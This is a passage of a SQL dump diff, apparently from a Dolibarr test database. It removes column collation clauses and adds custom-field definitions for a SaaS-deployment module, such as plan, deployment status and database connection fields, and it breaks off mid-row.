`type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `field` text COLLATE utf8mb3_unicode_ci NOT NULL, - `filter` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(50) NOT NULL, + `type` varchar(64) DEFAULT NULL, + `field` text NOT NULL, + `filter` text DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_export_model` (`label`,`type`) @@ -6693,37 +5967,37 @@ DROP TABLE IF EXISTS `llx_extrafields`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `elementtype` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'member', - `name` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, + `elementtype` varchar(64) NOT NULL DEFAULT 'member', + `name` varchar(64) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `type` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `size` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) NOT NULL, + `type` varchar(8) DEFAULT NULL, + `size` varchar(8) DEFAULT NULL, `pos` int(11) DEFAULT 0, `alwayseditable` int(11) DEFAULT 0, - `param` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `param` text DEFAULT NULL, `fieldunique` int(11) DEFAULT 0, `fieldrequired` int(11) DEFAULT 0, - `perms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `list` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `perms` varchar(255) DEFAULT NULL, + `list` varchar(128) DEFAULT NULL, `totalizable` tinyint(1) DEFAULT 0, `ishidden` int(11) DEFAULT 0, - `fieldcomputed` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fielddefault` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `langs` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fieldcomputed` text DEFAULT NULL, + `fielddefault` text DEFAULT NULL, + `langs` varchar(64) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `datec` datetime DEFAULT NULL, - `enabled` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT '1', - `help` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `enabled` varchar(255) DEFAULT '1', + `help` text DEFAULT NULL, `printable` int(11) DEFAULT 0, - `css` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `cssview` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `csslist` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `css` varchar(128) DEFAULT NULL, + `cssview` varchar(128) DEFAULT NULL, + `csslist` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_extrafields_name` (`name`,`entity`,`elementtype`) -) ENGINE=InnoDB AUTO_INCREMENT=41 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=162 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -6732,7 +6006,7 @@ CREATE TABLE `llx_extrafields` ( LOCK TABLES `llx_extrafields` WRITE; /*!40000 ALTER TABLE `llx_extrafields` DISABLE KEYS */; -INSERT INTO `llx_extrafields` VALUES (27,'projet','priority',1,'2018-01-19 11:17:49','Priority','select','',0,1,'a:1:{s:7:\"options\";a:5:{i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,NULL,NULL,NULL,'1',NULL,0,NULL,NULL,NULL),(33,'adherent','extradatamember',1,'2019-10-08 18:47:11','Extra personalized data','varchar','10',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-10-08 20:47:11','1',NULL,0,NULL,NULL,NULL),(34,'adherent_type','extradatamembertype',1,'2019-10-08 18:47:43','Extra personalized data','varchar','32',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-10-08 20:47:43','1',NULL,0,NULL,NULL,NULL),(35,'commande','custom1',1,'2019-12-21 13:31:31','Custom field 1','varchar','10',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-12-21 17:31:31','1',NULL,0,NULL,NULL,NULL),(36,'societe','height',1,'2020-01-05 20:37:18','Height','varchar','128',1,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(37,'societe','weight',1,'2020-01-05 20:37:18','Weigth','varchar','128',2,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(38,'societe','prof',1,'2020-01-05 20:37:18','Profession','varchar','128',3,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(39,'societe','birthdate',1,'2020-01-05 20:37:19','Birth date','date','0',4,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:19','1',NULL,0,NULL,NULL,NULL),(40,'cabinetmed_cons','aaa',1,'2020-01-06 17:23:52','aaa','varchar','255',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 21:23:52','1',NULL,0,NULL,NULL,NULL); +INSERT INTO `llx_extrafields` VALUES (27,'projet','priority',1,'2018-01-19 11:17:49','Priority','select','',0,1,'a:1:{s:7:\"options\";a:5:{i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,NULL,NULL,NULL,'1',NULL,0,NULL,NULL,NULL),(33,'adherent','extradatamember',1,'2019-10-08 18:47:11','Extra personalized data','varchar','10',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-10-08 20:47:11','1',NULL,0,NULL,NULL,NULL),(34,'adherent_type','extradatamembertype',1,'2019-10-08 18:47:43','Extra personalized data','varchar','32',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-10-08 20:47:43','1',NULL,0,NULL,NULL,NULL),(35,'commande','custom1',1,'2019-12-21 13:31:31','Custom field 1','varchar','10',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2019-12-21 17:31:31','1',NULL,0,NULL,NULL,NULL),(36,'societe','height',1,'2020-01-05 20:37:18','Height','varchar','128',1,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(37,'societe','weight',1,'2020-01-05 20:37:18','Weigth','varchar','128',2,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(38,'societe','prof',1,'2020-01-05 20:37:18','Profession','varchar','128',3,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:18','1',NULL,0,NULL,NULL,NULL),(39,'societe','birthdate',1,'2020-01-05 20:37:19','Birth date','date','0',4,0,'',0,0,NULL,'-1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 00:37:19','1',NULL,0,NULL,NULL,NULL),(40,'cabinetmed_cons','aaa',1,'2020-01-06 17:23:52','aaa','varchar','255',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2020-01-06 21:23:52','1',NULL,0,NULL,NULL,NULL),(45,'commande','aaa',1,'2023-01-12 11:33:26','aaa','varchar','255',100,1,'a:1:{s:7:\"options\";a:1:{s:0:\"\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,NULL,12,12,'2023-01-12 08:33:26','1',NULL,0,NULL,NULL,NULL),(46,'product','separatorproduct',1,'2023-01-19 12:20:13','SELLYOURSAAS_NAME','separate','',100,1,'a:1:{s:7:\"options\";a:1:{i:1;i:1;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(47,'product','app_or_option',1,'2023-01-19 12:20:13','AppOrOption','select','',110,1,'a:1:{s:7:\"options\";a:3:{s:3:\"app\";s:11:\"Application\";s:6:\"system\";s:6:\"System\";s:6:\"option\";s:6:\"Option\";}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','HelpOnAppOrOption',0,NULL,NULL,NULL),(48,'product','availabelforresellers',1,'2023-01-19 12:20:13','AvailableForResellers','boolean','',111,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(49,'product','package',1,'2023-01-19 12:20:13','Package','link','',111,1,'a:1:{s:7:\"options\";a:1:{s:46:\"Packages:sellyoursaas/class/packages.class.php\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','IfSomethingMustBeDeployed',0,NULL,NULL,NULL),(50,'product','resource_formula',1,'2023-01-19 12:20:13','QuantityCalculationFormula','text','8192',112,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','QtyFormulaExamples',0,NULL,NULL,NULL),(51,'product','resource_label',1,'2023-01-19 12:20:13','ResourceUnitLabel','varchar','32',112,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','ResourceUnitLabelDesc',0,NULL,NULL,NULL),(52,'product','freeperioddays',1,'2023-01-19 12:20:13','DaysForFreePeriod','int','6',113,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(53,'product','directaccess',1,'2023-01-19 12:20:13','AccessToResources','select','',114,1,'a:1:{s:7:\"options\";a:5:{i:0;s:2:\"No\";i:1;s:3:\"Yes\";i:2;s:20:\"DuringTestPeriodOnly\";i:3;s:19:\"AfterTestPeriodOnly\";i:4;s:8:\"OnDemand\";}}',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(54,'product','sshaccesstype',1,'2023-01-19 12:20:13','SshAccessType','select','',114,1,'a:1:{s:7:\"options\";a:3:{i:0;s:13:\"SystemDefault\";i:1;s:14:\"CommonUserJail\";i:2;s:15:\"PrivateUserJail\";}}',0,0,NULL,'($conf->global->SELLYOURSAAS_SSH_JAILKIT_ENABLED?1:0)',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','HelpOnSshAccessType',0,NULL,NULL,NULL),(55,'product','typesupport',1,'2023-01-19 12:20:13','TypeOfSupport','select','',115,1,'a:1:{s:7:\"options\";a:3:{s:5:\"basic\";s:5:\"Basic\";s:7:\"premium\";s:7:\"Premium\";s:4:\"none\";s:4:\"None\";}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(56,'product','register_text',1,'2023-01-19 12:20:13','RegisterText','varchar','255',120,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','EnterHereTranslationKeyToUseOnRegisterPage',0,NULL,NULL,NULL),(57,'product','register_discountcode',1,'2023-01-19 12:20:13','DiscountCodes','varchar','255',121,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled && !empty($conf->global->SELLYOURSAAS_ACCEPT_DISCOUNTCODE)','EnterHereListOfDiscountCodes',0,NULL,NULL,NULL),(58,'product','email_template_trialreminder',1,'2023-01-19 12:20:13','EmailTemplateTrialExpiringReminder','int','',123,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','EmailTemplateTrialExpiringReminderHelp',0,NULL,NULL,NULL),(59,'product','email_template_trialsuspended',1,'2023-01-19 12:20:13','EmailTemplateSuspendedTrial','int','',125,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','EmailTemplateSuspendedTrialHelp',0,NULL,NULL,NULL),(60,'product','position',1,'2023-01-19 12:20:13','Position','int','5',150,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(61,'societe','separatorthirdparty',1,'2023-01-19 12:20:13','SELLYOURSAAS_NAME','separate','',100,1,'a:1:{s:7:\"options\";a:1:{i:1;i:1;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(62,'societe','dolicloud',1,'2023-01-19 12:20:13','SaasCustomer','select','3',102,1,'a:1:{s:7:\"options\";a:2:{s:2:\"no\";s:2:\"No\";s:5:\"yesv2\";s:3:\"Yes\";}}',0,1,NULL,'1',0,0,NULL,'no','sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(63,'societe','date_registration',1,'2023-01-19 12:20:13','RegistrationDate','datetime','',103,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(64,'societe','domain_registration_page',1,'2023-01-19 12:20:13','DomainOfRegistrationPage','varchar','128',103,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(65,'societe','ip_confirm_email',1,'2023-01-19 12:20:13','IPConfirmEmail','ip','',180,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(66,'societe','source',1,'2023-01-19 12:20:13','Source','varchar','64',104,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,'tdoverflowmax200'),(67,'societe','source_utm',1,'2023-01-19 12:20:13','SourceUtm','varchar','64',104,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,'tdoverflowmax150'),(68,'societe','firstname',1,'2023-01-19 12:20:13','FirstName','varchar','64',105,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(69,'societe','lastname',1,'2023-01-19 12:20:13','LastName','varchar','64',106,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(70,'societe','password',1,'2023-01-19 12:20:13','DashboardPassword','password','128',150,1,'a:1:{s:7:\"options\";a:1:{s:4:\"auto\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(71,'societe','oldpassword',1,'2023-01-19 12:20:13','OldDashboardPassword','varchar','128',151,0,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(72,'societe','pass_temp',1,'2023-01-19 12:20:13','HashForPasswordReset','varchar','128',152,1,'',0,0,NULL,'0',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(73,'societe','optinmessages',1,'2023-01-19 12:20:13','OptinForCommercialMessages','boolean','',160,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(74,'societe','emailccinvoice',1,'2023-01-19 12:20:13','EmailCCInvoices','varchar','255',180,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(75,'societe','manualcollection',1,'2023-01-19 12:20:13','ManualCollection','boolean','',194,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','If checked, the batch SellYourSaasValidateDraftInvoices will never validate invoices of this customer',0,NULL,NULL,NULL),(76,'societe','commission',1,'2023-01-19 12:20:13','PartnerCommission','int','3',195,1,'a:1:{s:7:\"options\";a:1:{s:4:\"auto\";N;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(78,'societe','maxnbofinstances',1,'2023-01-19 12:20:13','MaxNbOfInstances','int','3',198,1,'',0,0,NULL,'-1',0,0,NULL,'4','sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(79,'societe','checkboxnonprofitorga',1,'2023-01-19 12:20:13','NonProfitOrganization','select','10',199,1,'a:1:{s:7:\"options\";a:2:{s:6:\"profit\";s:18:\"ProfitOrganization\";s:9:\"nonprofit\";s:21:\"NonProfitOrganization\";}}',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(80,'contrat','separatorcontract',1,'2023-01-19 12:20:13','SELLYOURSAAS_NAME','separate','',100,1,'a:1:{s:7:\"options\";a:1:{i:1;i:1;}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(81,'contrat','plan',1,'2023-01-19 12:20:13','Plan','varchar','64',102,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,'tdoverflowmax150'),(82,'contrat','deployment_init_adminpass',1,'2023-01-19 12:20:13','DeploymentInitPassword','varchar','64',103,1,'',0,0,NULL,'-2',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(83,'contrat','deployment_status',1,'2023-01-19 12:20:13','DeploymentStatus','select','',104,1,'a:1:{s:7:\"options\";a:3:{s:10:\"processing\";s:10:\"Processing\";s:4:\"done\";s:4:\"Done\";s:10:\"undeployed\";s:10:\"Undeployed\";}}',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(84,'contrat','deployment_host',1,'2023-01-19 12:20:13','DeploymentHost','varchar','128',105,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:13','$conf->sellyoursaas->enabled','DeploymentHostDesc',0,NULL,NULL,NULL),(85,'contrat','deployment_date_start',1,'2023-01-19 12:20:14','DeploymentDateStart','datetime','',106,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(86,'contrat','deployment_date_end',1,'2023-01-19 12:20:14','DeploymentDateEnd','datetime','',107,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(87,'contrat','deployment_ip',1,'2023-01-19 12:20:14','DeploymentIP','ip','',108,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(88,'contrat','deployment_vpn_proba',1,'2023-01-19 12:20:14','DeploymentIPVPNProba','double','8,4',109,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DeploymentIPVPNProbaDesc:ipvpnprob',0,NULL,NULL,NULL),(89,'contrat','deployment_ipquality',1,'2023-01-19 12:20:14','DeploymentIPQuality','varchar','255',110,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DeploymentIPQualityDesc:ipquality',0,NULL,NULL,NULL),(90,'contrat','deployment_emailquality',1,'2023-01-19 12:20:14','DeploymentEmailQuality','varchar','255',110,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','DeploymentEmailQualityDesc:ipquality',0,NULL,NULL,NULL),(91,'contrat','deployment_ua',1,'2023-01-19 12:20:14','DeploymentUserAgent','varchar','255',111,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(92,'contrat','date_softalert_endfreeperiod',1,'2023-01-19 12:20:14','DateSoftAlertEndTrial','datetime','',112,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(93,'contrat','date_endfreeperiod',1,'2023-01-19 12:20:14','DateEndTrial','datetime','',113,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(94,'contrat','undeployment_date',1,'2023-01-19 12:20:14','UndeploymentDate','datetime','',114,1,'',0,0,NULL,'1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(95,'contrat','undeployment_ip',1,'2023-01-19 12:20:14','UndeploymentIP','varchar','128',115,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(96,'contrat','custom_url',1,'2023-01-19 12:20:14','CustomURL','varchar','128',117,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(97,'contrat','custom_virtualhostline',1,'2023-01-19 12:20:14','CustomVirtualHostLine','varchar','255',118,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','EnterAVirtualHostLine:virthostline',0,NULL,NULL,NULL),(98,'contrat','custom_virtualhostdir',1,'2023-01-19 12:20:14','CustomVirtualHostDir','varchar','255',119,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','EnterAVirtualHostDirLine:virthostdirline',0,NULL,NULL,NULL),(99,'contrat','hostname_os',1,'2023-01-19 12:20:14','Hostname OS','varchar','128',120,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(100,'contrat','username_os',1,'2023-01-19 12:20:14','Username OS','varchar','32',121,1,'',1,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(101,'contrat','password_os',1,'2023-01-19 12:20:14','Password OS','varchar','32',122,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(102,'contrat','sshaccesstype',1,'2023-01-19 12:20:14','SshAccessType','select','',123,1,'a:1:{s:7:\"options\";a:3:{i:0;s:13:\"SystemDefault\";i:1;s:14:\"CommonUserJail\";i:2;s:15:\"PrivateUserJail\";}}',0,0,NULL,'($conf->global->SELLYOURSAAS_SSH_JAILKIT_ENABLED?1:0)',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','HelpOnSshAccessType',0,NULL,NULL,NULL),(103,'contrat','hostname_db',1,'2023-01-19 12:20:14','Hostname DB','varchar','128',124,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(104,'contrat','database_db',1,'2023-01-19 12:20:14','Database DB','varchar','32',125,1,'',1,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(105,'contrat','port_db',1,'2023-01-19 12:20:14','Port DB','varchar','8',126,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(106,'contrat','username_db',1,'2023-01-19 12:20:14','Username DB','varchar','32',127,1,'',1,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(107,'contrat','password_db',1,'2023-01-19 12:20:14','Password DB','varchar','64',128,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','ToUpdateDBPassword',0,NULL,NULL,NULL),(108,'contrat','username_ro_db',1,'2023-01-19 12:20:14','Read-only Username DB','varchar','32',129,1,'',1,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(109,'contrat','password_ro_db',1,'2023-01-19 12:20:14','Read-only Password DB','varchar','64',130,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','ToCreateDBUserManualy',0,NULL,NULL,NULL),(110,'contrat','prefix_db',1,'2023-01-19 12:20:14','Special table prefix DB','varchar','64',140,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled',NULL,0,NULL,NULL,NULL),(111,'contrat','timezone',1,'2023-01-19 12:20:14','TimeZone','varchar','64',141,1,'',0,0,NULL,'-1',0,0,NULL,NULL,'sellyoursaas@sellyoursaas',12,12,'2023-01-19 09:20:14','$conf->sellyoursaas->enabled','SellYourSaasTimeZoneDesc',0,NULL,NULL,NULL),(112,'contrat','fileauthorizekey',1,'2023-01-19 